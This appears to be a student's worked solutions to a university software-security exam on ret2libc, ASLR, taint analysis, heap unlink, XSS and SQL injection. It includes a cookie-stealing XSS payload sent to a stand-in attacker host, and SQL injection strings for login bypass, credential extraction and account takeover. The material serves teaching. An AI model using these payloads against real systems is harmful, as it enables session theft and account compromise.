Solutions were discussed in Lecture 13

CX4067 2018-2019 Semester 2

Question 1

a) *Return-to-libc relies on two conditions*
   1) *Ability to control the return address of some stack frame (hence the name), usually through a buffer overflow*
   2) *Ability to know the address at which libc is found, so that the address of a libc function can be written into the return address from point 1 above*

   Randomising the top of the stack (and hence, the absolute address of stack items) does not affect either conditions – buffer overflow to overwrite return addresses do not rely on absolute addresses.

   Randomising the library base address makes it harder to execute a ret2libc attack, but a determined attacker can still use other methods to leak the address of libc (eg format string bug) and compute the address to say, system, then execute a ret2libc attack.

b) ASLR examples:
   1) Randomise stack location
   2) Randomise library locations
   3) Randomise code location (if binary is compiled as Position Independent Executable)
   4) Randomise heap

c) Circumventing randomization defences:
   1) Leak information about randomization (eg position of libraries) through attacks like format string bugs or meltdown
   2) *Second method not covered during 2021-2022 Semester 2 (heap fengshui), but another possibility is to bruteforce the positions. We've seen this in attacks where NOP sleds are involved to bruteforce the stack address.*

Question 2

a) **Tainted source**: Source containing user input eg `$_GET` global variable in PHP
Propagator: Functions that propagate tainted data to other variables, eg string concatenation/replacement
Sanitizer: Functions that make tainted data safe to use, eg html_entities() that escapes HTML entities like < and >
Trusted Sink:

See Lec10, Slide 7 (Rev 25/3/21)

b) Dynamic taint analysis is performed at runtime while static taint analysis is done on the source without running the program.
Static taint analysis can examine code paths that are rarely executed, but with limited understanding of these paths

See Lec10, Slide 8 (Rev 25/3/21)

c) Data injection vulnerabilities: data flow analysis <- DOM-based XSS (because code injection)
Data exfiltration vulnerabilities: information flow analysis

See Lec10, Slide 9 (Rev 25/3/21)

Question 3

a) Attacker can force unlink to be called on a fake chunk with malicious fd and bk values, where fd is an address before the target write location offset by some bytes (12), while bk is the value to write.

   Line 3 will then write bk into fd+offset.

   See Lec4, Slide 57 (Rev 3/2/22)

b) Not every free chunk is returned to a bin, might be combined with an adjacent free chunk. Essential steps: See Lec4, Slide 63 (Rev 3/2/22). Second free is applied to an attacker controlled fake chunk, not an allocated chunk.

c) Randomizing memory allocation makes it harder for an attacker to predict the heap layout and write the fake ghost chunk into the heap.

Question 4

a) See Lec2, Slide 41 (Rev 20/1/22). The example on the slide is directly applicable to this question.

b) email: if the login was not successful, the content of email is echoed onto the page without any sanitization, presenting a reflected XSS vulnerability

c) http://www.abc.com/login?email=<script>
fetch("http://www.attacker.site/collect.cgi?cookie="+document.cookie)'</script>

Question 5

a) SQL injection on line 25: use of string concatenation to form SQL query without sanitization
b) http://www.abc.com/login?email=' OR 1=1;#
c) http://www.abc.com/login?email=x' UNION SELECT "attacker@example.com", passwd, login_id, full_name FROM members WHERE email = 'victim@example.com';#

In the discussion by the professor, it was suggested to use a statement like

SELECT email, passwd, login_id, full_name FROM members WHERE email=''; UPDATE members SET email='attacker@example.com' WHERE email='victim@example.com';#

I believe this is not the ideal solution: injecting an entirely separate is extremely well-known to the point that most tools now only allow one query to be executed by default. For example, in the interface used, an explicit "allowMultipleQueries=true" must be stated for the above suggested attack with UPDATE to work (see https://stackoverflow.com/a/10804730).

The proposed solution can be explored at https://www.db-fiddle.com/f/sWqXwyhaQf1ahkeSQUC7og/0. If not available, recreate another fiddle on the same site with Schema SQL:

CREATE TABLE members (email text, passwd text, login_id text, full_name text);
INSERT INTO members VALUES("victim@example.com", "password", "v1c71m", "some victim");

Query SQL:

SELECT email, passwd, login_id, full_name FROM members WHERE email='x' UNION SELECT "attacker@example.com", passwd, login_id, full_name FROM members WHERE email = 'victim@example.com';#

d) See Lec8, Slide 26 (Rev 17/3/21)
    1) Sanitization
    2) Parameterized interfaces
    3) Whitelisting